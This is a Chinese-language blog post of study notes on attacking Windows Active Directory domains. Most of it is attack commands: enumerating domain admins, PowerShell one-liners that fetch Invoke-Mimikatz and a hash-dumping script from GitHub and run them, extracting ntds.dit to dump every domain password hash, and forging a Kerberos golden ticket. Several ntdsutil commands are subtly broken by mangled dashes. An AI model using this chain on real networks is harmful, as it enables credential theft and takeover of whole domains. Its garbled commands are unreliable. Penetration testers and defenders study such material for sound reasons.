How Hacking in AD

简介:

状态: 整理域渗透相关知识中

文章目录

  • 前备知识
  • 基本命令
  • 提权

前备知识

域控制器中保存着整个域的用户帐号和安全数据库。

默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户信息保存在活动目录中。

一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电脑,并且在安装的时候设置惯用、甚至统一的密码。

因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:通过某种方法提取Administrator账号的密码,然后用密码登陆域控获取域数据库,提取所有域账号的密码。

基本命令

  1. 获取域控制器的IP:$ dsquery server
  2. 获取域控制器的主机名:$ net group "domain controllers" /domain
  3. 查询域管理员用户:net group "domain admins" /domain
  4. 查看所有域用户: net user /domain;这里有一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击了
  5. 查询当前登陆域: net config workstation
  6. 查询域密码策略: net accounts /domain
  7. 查看补丁信息: wmic qfe
  8. 查看操作系统类型: wmic os

如果获得了某个本地管理员权限的账号: administrator/

  1. 通过该账号冯文内网其他主机:net use建立IPC$连接、WMIC指令连接、RDP远程连接、PsExec等
  2. 登陆到目标机器后, 读取内存中的域管理员账号密码:
    2.1 提取域管理员的明文: powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
    2.2 提取域管理员的hash(需要administrator权限): powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
    这种方式的好处是只要域管理员登陆过目标计算机,即使注销了会话,一样可以从内存读取到密码,但实际的渗透过程中,我们往往追求的是效率,如何快速找到域管理员登陆过哪台计算机,并且还存在活动会话,优先级更高一些,我们可以使用如下指令:
    tasklist /v | find "<dc_admin_username>"

如果拿到了域管理员的账号密码,开始提取域用户的hash

tips: 域用户账户以域数据库的形式保存在活动目录中, ntdsutil.exe是域控制器自带的域数据库管理工具, 从Windows 2008开始默认安装在域控制器中, 因此可以通过域数据库提取出所有的域用户信息

方法一:在域控上依次执行如下命令导出域数据库(下面的命令必须在域控上执行,否则报”Open Database d:\ntds_save.dit…ERROR : JetAttachDatabase() failed with JET_ERR = -1018 Details: JET_errReadVerifyFailure, Checksum error on a database page”):

1
2
3
4
5
6
7
8
9
10
11
# 装载域数据库
Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy 装载点\windows\NTDS\ntds.dit

# 复制域数据库
copy {guid}—copy 装载点\windows\NTDS\ntds.dit d:\ntds_save.dit

# 删除装载点
unmount {guid}—delete {guid}–quit

# 上传QuarksPwDump到域控制器, 执行如下命令提取用户hash
QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit

方法二:mimikatz命令

1
mimikatz.exe log "privilege::debug" "lsadump::lsa /patch"

票据传递攻击

域中每个用户的Ticket都是由krbtgt的密码Hash来计算生成的,因此只要我们拿到了krbtgt的密码Hash,就可以随意伪造Ticket,进而使用Ticket登陆域控制器,使用krbtgt用户hash生成的票据被称为Golden Ticket(黄金票据),此类攻击方法被称为票据传递攻击。
首先, 生成Golden Ticket, 如下图:

1
2
3
4
5
# 运行mimikatz
mimikatz log

# 创建票据
kerberos::golden /user:<dc_admin_username> /domain:<domain_name> /sid:<sid>

参考链接

干货!内网渗透测试之域渗透详解!收藏!
超详细的域渗透过程!
域渗透前置知识
域渗透总结
一次完整的从webshell到域控的探索之路
ntlm_hash_crack_online

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%